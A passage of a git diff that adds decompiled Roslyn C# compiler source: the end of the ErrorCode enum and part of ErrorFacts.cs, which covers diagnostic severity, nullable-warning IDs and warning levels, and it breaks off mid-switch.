ERR_ScriptsAndSubmissionsCannotHaveRequiredMembers = 9045, + ERR_BadAbstractEqualityOperatorSignature = 9046, + ERR_BadBinaryReadOnlySpanConcatenation = 9047, + ERR_ScopedRefAndRefStructOnly = 9048, + ERR_FixedFieldMustNotBeRef = 9049, + ERR_RefFieldCannotReferToRefStruct = 9050, + ERR_FileTypeDisallowedInSignature = 9051, + ERR_FileTypeNoExplicitAccessibility = 9052, + ERR_FileTypeBase = 9053, + ERR_FileTypeNested = 9054, + ERR_GlobalUsingStaticFileType = 9055, + ERR_FileTypeNameDisallowed = 9056, + WRN_AnalyzerReferencesNewerCompiler = 9057, + ERR_FeatureNotAvailableInVersion11 = 9058, + ERR_RefFieldInNonRefStruct = 9059, + ERR_CannotMatchOnINumberBase = 9060, + ERR_ScopedDiscard = 9061, + ERR_ScopedTypeNameDisallowed = 9062, + ERR_UnscopedRefAttributeUnsupportedTarget = 9063, + ERR_RuntimeDoesNotSupportRefFields = 9064, + ERR_ExplicitScopedRef = 9065, + ERR_UnscopedScoped = 9066, + WRN_DuplicateAnalyzerReference = 9067, + ERR_FileTypeNonUniquePath = 9068, + ERR_FilePathCannotBeConvertedToUtf8 = 9069, + ERR_FileLocalDuplicateNameInNS = 9071, + ERR_DeconstructVariableCannotBeByRef = 9072, + WRN_ScopedMismatchInParameterOfTarget = 9073, + WRN_ScopedMismatchInParameterOfOverrideOrImplementation = 9074, + ERR_RefReturnScopedParameter = 9075, + ERR_RefReturnScopedParameter2 = 9076, + ERR_RefReturnOnlyParameter = 9077, + ERR_RefReturnOnlyParameter2 = 9078, + ERR_RefAssignReturnOnly = 9079, + WRN_EscapeVariable = 9080, + WRN_EscapeStackAlloc = 9081, + WRN_RefReturnNonreturnableLocal = 9082, + WRN_RefReturnNonreturnableLocal2 = 9083, + WRN_RefReturnStructThis = 9084, + WRN_RefAssignNarrower = 9085, + WRN_MismatchedRefEscapeInTernary = 9086, + WRN_RefReturnParameter = 9087, + WRN_RefReturnScopedParameter = 9088, + WRN_RefReturnParameter2 = 9089, + WRN_RefReturnScopedParameter2 = 9090, + WRN_RefReturnLocal = 9091, + WRN_RefReturnLocal2 = 9092, + WRN_RefAssignReturnOnly = 9093, + WRN_RefReturnOnlyParameter = 9094, + WRN_RefReturnOnlyParameter2 = 9095, + ERR_RefAssignValEscapeWider = 9096, + WRN_RefAssignValEscapeWider = 9097, + ERR_ImplicitlyTypedDefaultParameter = 9098, + WRN_OptionalParamValueMismatch = 9099, + WRN_ParamsArrayInLambdaOnly = 9100, + ERR_UnscopedRefAttributeUnsupportedMemberTarget = 9101, + ERR_UnscopedRefAttributeInterfaceImplementation = 9102, + ERR_UnrecognizedRefSafetyRulesAttributeVersion = 9103, + ERR_BadSpecialByRefUsing = 9104, + ERR_InvalidPrimaryConstructorParameterReference = 9105, + ERR_AmbiguousPrimaryConstructorParameterAsColorColorReceiver = 9106, + WRN_CapturedPrimaryConstructorParameterPassedToBase = 9107, + ERR_AnonDelegateCantUseRefLike = 9108, + ERR_UnsupportedPrimaryConstructorParameterCapturingRef = 9109, + ERR_UnsupportedPrimaryConstructorParameterCapturingRefLike = 9110, + ERR_AnonDelegateCantUseStructPrimaryConstructorParameterInMember = 9111, + ERR_AnonDelegateCantUseStructPrimaryConstructorParameterCaptured = 9112, + WRN_UnreadPrimaryConstructorParameter = 9113, + ERR_AssgReadonlyPrimaryConstructorParameter = 9114, + ERR_RefReturnReadonlyPrimaryConstructorParameter = 9115, + ERR_RefReadonlyPrimaryConstructorParameter = 9116, + ERR_AssgReadonlyPrimaryConstructorParameter2 = 9117, + ERR_RefReturnReadonlyPrimaryConstructorParameter2 = 9118, + ERR_RefReadonlyPrimaryConstructorParameter2 = 9119, + ERR_RefReturnPrimaryConstructorParameter = 9120, + ERR_StructLayoutCyclePrimaryConstructorParameter = 9121, + ERR_UnexpectedParameterList = 9122, + WRN_AddressOfInAsync = 9123, + WRN_CapturedPrimaryConstructorParameterInFieldInitializer = 9124, + WRN_ByValArraySizeConstRequired = 9125, + ERR_BadRefInUsingAlias = 9130, + ERR_BadUnsafeInUsingDirective = 9131, + ERR_BadNullableReferenceTypeInUsingAlias = 9132, + ERR_BadStaticAfterUnsafe = 9133, + ERR_BadCaseInSwitchArm = 9134, + ERR_ConstantValueOfTypeExpected = 9135, + ERR_UnsupportedPrimaryConstructorParameterCapturingRefAny = 9136, + ERR_InterceptorsFeatureNotEnabled = 9137, + ERR_InterceptorContainingTypeCannotBeGeneric = 9138, + ERR_InterceptorPathNotInCompilation = 9139, + ERR_InterceptorPathNotInCompilationWithCandidate = 9140, + ERR_InterceptorPositionBadToken = 9141, + ERR_InterceptorLineOutOfRange = 9142, + ERR_InterceptorCharacterOutOfRange = 9143, + ERR_InterceptorSignatureMismatch = 9144, + ERR_InterceptorPathNotInCompilationWithUnmappedCandidate = 9145, + ERR_InterceptorMethodMustBeOrdinary = 9146, + ERR_InterceptorMustReferToStartOfTokenPosition = 9147, + ERR_InterceptorMustHaveMatchingThisParameter = 9148, + ERR_InterceptorMustNotHaveThisParameter = 9149, + ERR_InterceptorFilePathCannotBeNull = 9150, + ERR_InterceptorNameNotInvoked = 9151, + ERR_InterceptorNonUniquePath = 9152, + ERR_DuplicateInterceptor = 9153, + WRN_InterceptorSignatureMismatch = 9154, + ERR_InterceptorNotAccessible = 9155, + ERR_InterceptorScopedMismatch = 9156, + ERR_InterceptorLineCharacterMustBePositive = 9157, + WRN_NullabilityMismatchInReturnTypeOnInterceptor = 9158, + WRN_NullabilityMismatchInParameterTypeOnInterceptor = 9159, + ERR_InterceptorCannotInterceptNameof = 9160, + ERR_InterceptorCannotUseUnmanagedCallersOnly = 9161, + ERR_BadUsingStaticType = 9162, + ERR_SymbolDefinedInAssembly = 9163, + ERR_InlineArrayConversionToSpanNotSupported = 9164, + ERR_InlineArrayConversionToReadOnlySpanNotSupported = 9165, + ERR_InlineArrayIndexOutOfRange = 9166, + ERR_InvalidInlineArrayLength = 9167, + ERR_InvalidInlineArrayLayout = 9168, + ERR_InvalidInlineArrayFields = 9169, + ERR_ExpressionTreeContainsInlineArrayOperation = 9170, + ERR_RuntimeDoesNotSupportInlineArrayTypes = 9171, + ERR_InlineArrayBadIndex = 9172, + ERR_NamedArgumentForInlineArray = 9173, + ERR_CollectionExpressionTargetTypeNotConstructible = 9174, + ERR_ExpressionTreeContainsCollectionExpression = 9175, + ERR_CollectionExpressionNoTargetType = 9176, + ERR_InterceptorArityNotCompatible = 9177, + ERR_InterceptorCannotBeGeneric = 9178, + WRN_PrimaryConstructorParameterIsShadowedAndNotPassedToBase = 9179, + ERR_InlineArrayUnsupportedElementFieldModifier = 9180, + WRN_InlineArrayIndexerNotUsed = 9181, + WRN_InlineArraySliceNotUsed = 9182, + WRN_InlineArrayConversionOperatorNotUsed = 9183, + WRN_InlineArrayNotSupportedByLanguage = 9184, + ERR_CollectionBuilderAttributeInvalidType = 9185, + ERR_CollectionBuilderAttributeInvalidMethodName = 9186, + ERR_CollectionBuilderAttributeMethodNotFound = 9187, + ERR_CollectionBuilderNoElementType = 9188, + ERR_InlineArrayForEachNotSupported = 9189, + ERR_RefReadOnlyWrongOrdering = 9190, + WRN_BadArgRef = 9191, + WRN_ArgExpectedRefOrIn = 9192, + WRN_RefReadonlyNotVariable = 9193, + ERR_BadArgExtraRefLangVersion = 9194, + WRN_ArgExpectedIn = 9195, + WRN_OverridingDifferentRefness = 9196, + WRN_HidingDifferentRefness = 9197, + WRN_TargetDifferentRefness = 9198, + ERR_OutAttrOnRefReadonlyParam = 9199, + WRN_RefReadonlyParameterDefaultValue = 9200, + WRN_UseDefViolationRefField = 9201, + ERR_FeatureNotAvailableInVersion12 = 9202, + ERR_CollectionExpressionEscape = 9203, + WRN_Experimental = 9204, + ERR_ExpectedInterpolatedString = 9205, + ERR_InterceptorGlobalNamespace = 9206, + ERR_InterceptableMethodMustBeOrdinary = 9207, + ERR_CollectionExpressionImmutableArray = 9210 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ErrorFacts.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ErrorFacts.cs new file mode 100644 index 0000000..e5d75de --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ErrorFacts.cs @@ -0,0 +1,3761 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.Reflection; +using System.Resources; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class ErrorFacts +{ + private const string s_titleSuffix = "_Title"; + + private const string s_descriptionSuffix = "_Description"; + + private static readonly Lazy> s_categoriesMap; + + public static readonly ImmutableHashSet NullableWarnings; + + private static ResourceManager s_resourceManager; + + private static ResourceManager ResourceManager + { + get + { + if (s_resourceManager == null) + { + s_resourceManager = new ResourceManager(typeof(CSharpResources).FullName, typeof(ErrorCode).GetTypeInfo().Assembly); + } + return s_resourceManager; + } + } + + static ErrorFacts() + { + s_categoriesMap = new Lazy>(CreateCategoriesMap); + ImmutableHashSet.Builder builder = ImmutableHashSet.CreateBuilder(); + builder.Add(GetId(ErrorCode.WRN_NullReferenceAssignment)); + builder.Add(GetId(ErrorCode.WRN_NullReferenceReceiver)); + builder.Add(GetId(ErrorCode.WRN_NullReferenceReturn)); + builder.Add(GetId(ErrorCode.WRN_NullReferenceArgument)); + builder.Add(GetId(ErrorCode.WRN_UninitializedNonNullableField)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInAssignment)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInArgument)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInArgumentForOutput)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInReturnTypeOfTargetDelegate)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInParameterTypeOfTargetDelegate)); + builder.Add(GetId(ErrorCode.WRN_NullAsNonNullable)); + builder.Add(GetId(ErrorCode.WRN_NullableValueTypeMayBeNull)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInTypeParameterConstraint)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInTypeParameterReferenceTypeConstraint)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInTypeParameterNotNullConstraint)); + builder.Add(GetId(ErrorCode.WRN_ThrowPossibleNull)); + builder.Add(GetId(ErrorCode.WRN_UnboxPossibleNull)); + builder.Add(GetId(ErrorCode.WRN_SwitchExpressionNotExhaustiveForNull)); + builder.Add(GetId(ErrorCode.WRN_SwitchExpressionNotExhaustiveForNullWithWhen)); + builder.Add(GetId(ErrorCode.WRN_ConvertingNullableToNonNullable)); + builder.Add(GetId(ErrorCode.WRN_DisallowNullAttributeForbidsMaybeNullAssignment)); + builder.Add(GetId(ErrorCode.WRN_ParameterConditionallyDisallowsNull)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInTypeOnOverride)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInReturnTypeOnOverride)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInReturnTypeOnPartial)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInParameterTypeOnOverride)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInParameterTypeOnPartial)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInTypeOnImplicitImplementation)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInReturnTypeOnImplicitImplementation)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInParameterTypeOnImplicitImplementation)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInTypeOnExplicitImplementation)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInReturnTypeOnExplicitImplementation)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInParameterTypeOnExplicitImplementation)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInConstraintsOnImplicitImplementation)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInExplicitlyImplementedInterface)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInInterfaceImplementedByBase)); + builder.Add(GetId(ErrorCode.WRN_DuplicateInterfaceWithNullabilityMismatchInBaseList)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInConstraintsOnPartialImplementation)); + builder.Add(GetId(ErrorCode.WRN_NullReferenceInitializer)); + builder.Add(GetId(ErrorCode.WRN_ShouldNotReturn)); + builder.Add(GetId(ErrorCode.WRN_DoesNotReturnMismatch)); + builder.Add(GetId(ErrorCode.WRN_TopLevelNullabilityMismatchInParameterTypeOnExplicitImplementation)); + builder.Add(GetId(ErrorCode.WRN_TopLevelNullabilityMismatchInParameterTypeOnImplicitImplementation)); + builder.Add(GetId(ErrorCode.WRN_TopLevelNullabilityMismatchInParameterTypeOnOverride)); + builder.Add(GetId(ErrorCode.WRN_TopLevelNullabilityMismatchInReturnTypeOnExplicitImplementation)); + builder.Add(GetId(ErrorCode.WRN_TopLevelNullabilityMismatchInReturnTypeOnImplicitImplementation)); + builder.Add(GetId(ErrorCode.WRN_TopLevelNullabilityMismatchInReturnTypeOnOverride)); + builder.Add(GetId(ErrorCode.WRN_MemberNotNull)); + builder.Add(GetId(ErrorCode.WRN_MemberNotNullBadMember)); + builder.Add(GetId(ErrorCode.WRN_MemberNotNullWhen)); + builder.Add(GetId(ErrorCode.WRN_ParameterDisallowsNull)); + builder.Add(GetId(ErrorCode.WRN_ParameterNotNullIfNotNull)); + builder.Add(GetId(ErrorCode.WRN_ReturnNotNullIfNotNull)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInReturnTypeOnInterceptor)); + builder.Add(GetId(ErrorCode.WRN_NullabilityMismatchInParameterTypeOnInterceptor)); + NullableWarnings = builder.ToImmutable(); + } + + private static string GetId(ErrorCode errorCode) + { + return ((CommonMessageProvider)MessageProvider.Instance).GetIdForErrorCode((int)errorCode); + } + + private static ImmutableDictionary CreateCategoriesMap() + { + return new Dictionary().ToImmutableDictionary(); + } + + internal static DiagnosticSeverity GetSeverity(ErrorCode code) + { + switch (code) + { + case ErrorCode.Void: + return (DiagnosticSeverity)(-2); + case ErrorCode.Unknown: + return (DiagnosticSeverity)(-1); + default: + if (!IsWarning(code)) + { + if (!IsInfo(code)) + { + if (!IsHidden(code)) + { + return (DiagnosticSeverity)3; + } + return (DiagnosticSeverity)0; + } + return (DiagnosticSeverity)1; + } + return (DiagnosticSeverity)2; + } + } + + public static string GetMessage(MessageID code, CultureInfo culture) + { + return ResourceManager.GetString(code.ToString(), culture); + } + + public static string GetMessage(ErrorCode code, CultureInfo culture) + { + return ResourceManager.GetString(code.ToString(), culture); + } + + public static LocalizableResourceString GetMessageFormat(ErrorCode code) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Expected O, but got Unknown + return new LocalizableResourceString(code.ToString(), ResourceManager, typeof(ErrorFacts)); + } + + public static LocalizableResourceString GetTitle(ErrorCode code) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Expected O, but got Unknown + return new LocalizableResourceString(code.ToString() + "_Title", ResourceManager, typeof(ErrorFacts)); + } + + public static LocalizableResourceString GetDescription(ErrorCode code) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Expected O, but got Unknown + return new LocalizableResourceString(code.ToString() + "_Description", ResourceManager, typeof(ErrorFacts)); + } + + public static string GetHelpLink(ErrorCode code) + { + return "https://msdn.microsoft.com/query/roslyn.query?appId=roslyn&k=k(" + GetId(code) + ")"; + } + + public static string GetCategory(ErrorCode code) + { + if (s_categoriesMap.Value.TryGetValue(code, out var value)) + { + return value; + } + return "Compiler"; + } + + public static string GetMessage(XmlParseErrorCode id, CultureInfo culture) + { + return ResourceManager.GetString(id.ToString(), culture); + } + + internal static int GetWarningLevel(ErrorCode code) + { + if (IsInfo(code) || IsHidden(code)) + { + return 1; + } + if (code <= ErrorCode.WRN_AsyncLacksAwaits) + { + switch (code) + { + case ErrorCode.WRN_InvalidMainSig: + case ErrorCode.WRN_LowercaseEllSuffix: + case ErrorCode.WRN_NewNotRequired: + case ErrorCode.WRN_MainCantBeGeneric: + case ErrorCode.WRN_ProtectedInSealed: + case ErrorCode.WRN_UnassignedInternalField: + case ErrorCode.WRN_MissingParamTag: + case ErrorCode.WRN_MissingXMLComment: + case ErrorCode.WRN_MissingTypeParamTag: + break; + case ErrorCode.WRN_UnreferencedEvent: + case ErrorCode.WRN_DuplicateUsing: + case ErrorCode.WRN_UnreferencedVar: + case ErrorCode.WRN_UnreferencedField: + case ErrorCode.WRN_UnreferencedVarAssg: + case ErrorCode.WRN_SequentialOnPartialClass: + case ErrorCode.WRN_UnreferencedFieldAssg: + case ErrorCode.WRN_AmbiguousXMLReference: + case ErrorCode.WRN_PossibleMistakenNullStatement: + case ErrorCode.WRN_EqualsWithoutGetHashCode: + case ErrorCode.WRN_EqualityOpWithoutEquals: + case ErrorCode.WRN_EqualityOpWithoutGetHashCode: + case ErrorCode.WRN_IncorrectBooleanAssg: + case ErrorCode.WRN_BitwiseOrSignExtend: + case ErrorCode.WRN_TypeParameterSameAsOuterTypeParameter: + case ErrorCode.WRN_DebugFullNameTooLong: + case ErrorCode.WRN_InvalidAssemblyName: + case ErrorCode.WRN_UnifyReferenceBldRev: + case ErrorCode.WRN_AssignmentToSelf: + case ErrorCode.WRN_ComparisonToSelf: + case ErrorCode.WRN_IsDynamicIsConfusing: + goto IL_0dd4; + case ErrorCode.WRN_NewRequired: + case ErrorCode.WRN_NewOrOverrideExpected: + case ErrorCode.WRN_UnreachableCode: + case ErrorCode.WRN_UnreferencedLabel: + case ErrorCode.WRN_NegativeArrayIndex: + case ErrorCode.WRN_BadRefCompareLeft: + case ErrorCode.WRN_BadRefCompareRight: + case ErrorCode.WRN_PatternIsAmbiguous: + case ErrorCode.WRN_PatternNotPublicOrNotInstance: + case ErrorCode.WRN_PatternBadSignature: + case ErrorCode.WRN_SameFullNameThisNsAgg: + case ErrorCode.WRN_SameFullNameThisAggAgg: + case ErrorCode.WRN_SameFullNameThisAggNs: + case ErrorCode.WRN_GlobalAliasDefn: + case ErrorCode.WRN_AlwaysNull: + case ErrorCode.WRN_CmpAlwaysFalse: + case ErrorCode.WRN_GotoCaseShouldConvert: + case ErrorCode.WRN_NubExprIsConstBool: + case ErrorCode.WRN_ExplicitImplCollision: + case ErrorCode.WRN_DeprecatedSymbolStr: + case ErrorCode.WRN_VacuousIntegralComp: + case ErrorCode.WRN_AssignmentToLockOrDispose: + case ErrorCode.WRN_DeprecatedCollectionInitAddStr: + case ErrorCode.WRN_DeprecatedCollectionInitAdd: + case ErrorCode.WRN_DuplicateParamTag: + case ErrorCode.WRN_UnmatchedParamTag: + case ErrorCode.WRN_UnprocessedXMLComment: + case ErrorCode.WRN_InvalidSearchPathDir: + case ErrorCode.WRN_UnifyReferenceMajMin: + case ErrorCode.WRN_DuplicateTypeParamTag: + case ErrorCode.WRN_UnmatchedTypeParamTag: + case ErrorCode.WRN_UnmatchedParamRefTag: + case ErrorCode.WRN_UnmatchedTypeParamRefTag: + case ErrorCode.WRN_CantHaveManifestForModule: + case ErrorCode.WRN_DynamicDispatchToConditionalMethod: + goto IL_0dd6; + case ErrorCode.WRN_IsAlwaysTrue: + case ErrorCode.WRN_IsAlwaysFalse: + case ErrorCode.WRN_ByRefNonAgileField: + case ErrorCode.WRN_VolatileByRef: + case ErrorCode.WRN_FinalizeMethod: + case ErrorCode.WRN_DeprecatedSymbol: + case ErrorCode.WRN_ExternMethodNoImplementation: + case ErrorCode.WRN_AttributeLocationOnBadDeclaration: + case ErrorCode.WRN_InvalidAttributeLocation: + case ErrorCode.WRN_NonObsoleteOverridingObsolete: + case ErrorCode.WRN_CoClassWithoutComImport: + case ErrorCode.WRN_ObsoleteOverridingNonObsolete: + case ErrorCode.WRN_ExternCtorNoImplementation: + case ErrorCode.WRN_WarningDirective: + case ErrorCode.WRN_UnreachableGeneralCatch: + case ErrorCode.WRN_DefaultValueForUnconsumedLocation: + case ErrorCode.WRN_IdentifierOrNumericLiteralExpected: + case ErrorCode.WRN_EmptySwitch: + case ErrorCode.WRN_XMLParseError: + case ErrorCode.WRN_BadXMLRef: + case ErrorCode.WRN_BadXMLRefParamType: + case ErrorCode.WRN_BadXMLRefReturnType: + case ErrorCode.WRN_BadXMLRefSyntax: + case ErrorCode.WRN_FailedInclude: + case ErrorCode.WRN_InvalidInclude: + case ErrorCode.WRN_XMLParseIncludeError: + case ErrorCode.WRN_ALinkWarn: + case ErrorCode.WRN_CmdOptionConflictsSource: + case ErrorCode.WRN_IllegalPragma: + case ErrorCode.WRN_IllegalPPWarning: + case ErrorCode.WRN_BadRestoreNumber: + case ErrorCode.WRN_NonECMAFeature: + case ErrorCode.WRN_ErrorOverride: + case ErrorCode.WRN_MultiplePredefTypes: + case ErrorCode.WRN_TooManyLinesForDebugger: + case ErrorCode.WRN_CallOnNonAgileField: + case ErrorCode.WRN_InvalidNumber: + case ErrorCode.WRN_IllegalPPChecksum: + case ErrorCode.WRN_EndOfPPLineExpected: + case ErrorCode.WRN_ConflictingChecksum: + case ErrorCode.WRN_DotOnDefault: + case ErrorCode.WRN_BadXMLRefTypeVar: + case ErrorCode.WRN_ReferencedAssemblyReferencesLinkedPIA: + case ErrorCode.WRN_MultipleRuntimeImplementationMatches: + case ErrorCode.WRN_MultipleRuntimeOverrideMatches: + case ErrorCode.WRN_AsyncLacksAwaits: + goto IL_0dd8; + default: + goto IL_0dda; + } + goto IL_0dd2; + } + if (code <= ErrorCode.WRN_TupleBinopLiteralNameMismatch) + { + switch (code) + { + case ErrorCode.WRN_StaticInAsOrIs: + case ErrorCode.WRN_NubExprIsConstBool2: + break; + case ErrorCode.WRN_InvalidVersionFormat: + goto IL_0dd2; + case ErrorCode.WRN_PdbLocalNameTooLong: + case ErrorCode.WRN_UnreferencedLocalFunction: + goto IL_0dd4; + case ErrorCode.WRN_NoSources: + case ErrorCode.WRN_CLS_MeaninglessOnPrivateType: + case ErrorCode.WRN_CLS_AssemblyNotCLS2: + case ErrorCode.WRN_MainIgnored: + case ErrorCode.WRN_UnqualifiedNestedTypeInCref: + case ErrorCode.WRN_NoRuntimeMetadataVersion: + goto IL_0dd6; + case ErrorCode.WRN_FileAlreadyIncluded: + case ErrorCode.WRN_NoConfigNotOnCommandLine: + case ErrorCode.WRN_DefineIdentifierRequired: + case ErrorCode.WRN_BadUILang: + case ErrorCode.WRN_CLS_NoVarArgs: + case ErrorCode.WRN_CLS_BadArgType: + case ErrorCode.WRN_CLS_BadReturnType: + case ErrorCode.WRN_CLS_BadFieldPropType: + case ErrorCode.WRN_CLS_BadIdentifierCase: + case ErrorCode.WRN_CLS_OverloadRefOut: + case ErrorCode.WRN_CLS_OverloadUnnamed: + case ErrorCode.WRN_CLS_BadIdentifier: + case ErrorCode.WRN_CLS_BadBase: + case ErrorCode.WRN_CLS_BadInterfaceMember: + case ErrorCode.WRN_CLS_NoAbstractMembers: + case ErrorCode.WRN_CLS_NotOnModules: + case ErrorCode.WRN_CLS_ModuleMissingCLS: + case ErrorCode.WRN_CLS_AssemblyNotCLS: + case ErrorCode.WRN_CLS_BadAttributeType: + case ErrorCode.WRN_CLS_ArrayArgumentToAttribute: + case ErrorCode.WRN_CLS_NotOnModules2: + case ErrorCode.WRN_CLS_IllegalTrueInFalse: + case ErrorCode.WRN_CLS_MeaninglessOnParam: + case ErrorCode.WRN_CLS_MeaninglessOnReturn: + case ErrorCode.WRN_CLS_BadTypeVar: + case ErrorCode.WRN_CLS_VolatileField: + case ErrorCode.WRN_CLS_BadInterface: + case ErrorCode.WRN_UnobservedAwaitableExpression: + case ErrorCode.WRN_CallerLineNumberParamForUnconsumedLocation: + case ErrorCode.WRN_CallerFilePathParamForUnconsumedLocation: + case ErrorCode.WRN_CallerMemberNameParamForUnconsumedLocation: + case ErrorCode.WRN_DelaySignButNoKey: + case ErrorCode.WRN_CallerFilePathPreferredOverCallerMemberName: + case ErrorCode.WRN_CallerLineNumberPreferredOverCallerMemberName: + case ErrorCode.WRN_CallerLineNumberPreferredOverCallerFilePath: + case ErrorCode.WRN_AssemblyAttributeFromModuleIsOverridden: + case ErrorCode.WRN_FilterIsConstantTrue: + case ErrorCode.WRN_UnimplementedCommandLineSwitch: + case ErrorCode.WRN_ReferencedAssemblyDoesNotHaveStrongName: + case ErrorCode.WRN_RefCultureMismatch: + case ErrorCode.WRN_ConflictingMachineAssembly: + case ErrorCode.WRN_AnalyzerCannotBeCreated: + case ErrorCode.WRN_NoAnalyzerInAssembly: + case ErrorCode.WRN_UnableToLoadAnalyzer: + case ErrorCode.WRN_AlignmentMagnitude: + case ErrorCode.WRN_AttributeIgnoredWhenPublicSigning: + case ErrorCode.WRN_TupleLiteralNameMismatch: + case ErrorCode.WRN_WindowsExperimental: + case ErrorCode.WRN_FilterIsConstantFalse: + case ErrorCode.WRN_FilterIsConstantFalseRedundantTryCatch: + case ErrorCode.WRN_AttributesOnBackingFieldsNotAvailable: + case ErrorCode.WRN_TupleBinopLiteralNameMismatch: + goto IL_0dd8; + default: + goto IL_0dda; + } + } + else if (code <= ErrorCode.WRN_RecordNamedDisallowed) + { + switch (code) + { + case ErrorCode.WRN_PartialMethodTypeDifference: + return 6; + case ErrorCode.WRN_PrecedenceInversion: + break; + case ErrorCode.WRN_RecordEqualsWithoutGetHashCode: + goto IL_0dd4; + case ErrorCode.WRN_TypeParameterSameAsOuterMethodTypeParameter: + case ErrorCode.WRN_UnconsumedEnumeratorCancellationAttributeUsage: + case ErrorCode.WRN_UndecoratedCancellationTokenParameter: + case ErrorCode.WRN_ManagedAddr: + case ErrorCode.WRN_SwitchExpressionNotExhaustive: + case ErrorCode.WRN_CaseConstantNamedUnderscore: + case ErrorCode.WRN_IsTypeNamedUnderscore: + case ErrorCode.WRN_GivenExpressionNeverMatchesPattern: + case ErrorCode.WRN_GivenExpressionAlwaysMatchesConstant: + case ErrorCode.WRN_SwitchExpressionNotExhaustiveWithUnnamedEnumValue: + case ErrorCode.WRN_ThrowPossibleNull: + case ErrorCode.WRN_ConvertingNullableToNonNullable: + case ErrorCode.WRN_NullReferenceAssignment: + case ErrorCode.WRN_NullReferenceReceiver: + case ErrorCode.WRN_NullReferenceReturn: + case ErrorCode.WRN_NullReferenceArgument: + case ErrorCode.WRN_UnboxPossibleNull: + case ErrorCode.WRN_DisallowNullAttributeForbidsMaybeNullAssignment: + case ErrorCode.WRN_NullabilityMismatchInTypeOnOverride: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOnOverride: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOnOverride: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOnPartial: + case ErrorCode.WRN_NullabilityMismatchInTypeOnImplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOnImplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOnImplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInTypeOnExplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOnExplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOnExplicitImplementation: + case ErrorCode.WRN_UninitializedNonNullableField: + case ErrorCode.WRN_NullabilityMismatchInAssignment: + case ErrorCode.WRN_NullabilityMismatchInArgument: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOfTargetDelegate: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOfTargetDelegate: + case ErrorCode.WRN_NullabilityMismatchInArgumentForOutput: + case ErrorCode.WRN_NullAsNonNullable: + case ErrorCode.WRN_NullableValueTypeMayBeNull: + case ErrorCode.WRN_NullabilityMismatchInTypeParameterConstraint: + case ErrorCode.WRN_MissingNonNullTypesContextForAnnotation: + case ErrorCode.WRN_NullabilityMismatchInConstraintsOnImplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInTypeParameterReferenceTypeConstraint: + case ErrorCode.WRN_NullabilityMismatchInExplicitlyImplementedInterface: + case ErrorCode.WRN_NullabilityMismatchInInterfaceImplementedByBase: + case ErrorCode.WRN_DuplicateInterfaceWithNullabilityMismatchInBaseList: + case ErrorCode.WRN_SwitchExpressionNotExhaustiveForNull: + case ErrorCode.WRN_ImplicitCopyInReadOnlyMember: + case ErrorCode.WRN_NullabilityMismatchInConstraintsOnPartialImplementation: + case ErrorCode.WRN_MissingNonNullTypesContextForAnnotationInGeneratedCode: + case ErrorCode.WRN_NullReferenceInitializer: + case ErrorCode.WRN_NullabilityMismatchInTypeParameterNotNullConstraint: + case ErrorCode.WRN_ParameterConditionallyDisallowsNull: + case ErrorCode.WRN_ShouldNotReturn: + case ErrorCode.WRN_TopLevelNullabilityMismatchInReturnTypeOnOverride: + case ErrorCode.WRN_TopLevelNullabilityMismatchInParameterTypeOnOverride: + case ErrorCode.WRN_TopLevelNullabilityMismatchInReturnTypeOnImplicitImplementation: + case ErrorCode.WRN_TopLevelNullabilityMismatchInParameterTypeOnImplicitImplementation: + case ErrorCode.WRN_TopLevelNullabilityMismatchInReturnTypeOnExplicitImplementation: + case ErrorCode.WRN_TopLevelNullabilityMismatchInParameterTypeOnExplicitImplementation: + case ErrorCode.WRN_DoesNotReturnMismatch: + case ErrorCode.WRN_MemberNotNull: + case ErrorCode.WRN_MemberNotNullWhen: + case ErrorCode.WRN_MemberNotNullBadMember: + case ErrorCode.WRN_ParameterDisallowsNull: + case ErrorCode.WRN_ConstOutOfRangeChecked: + case 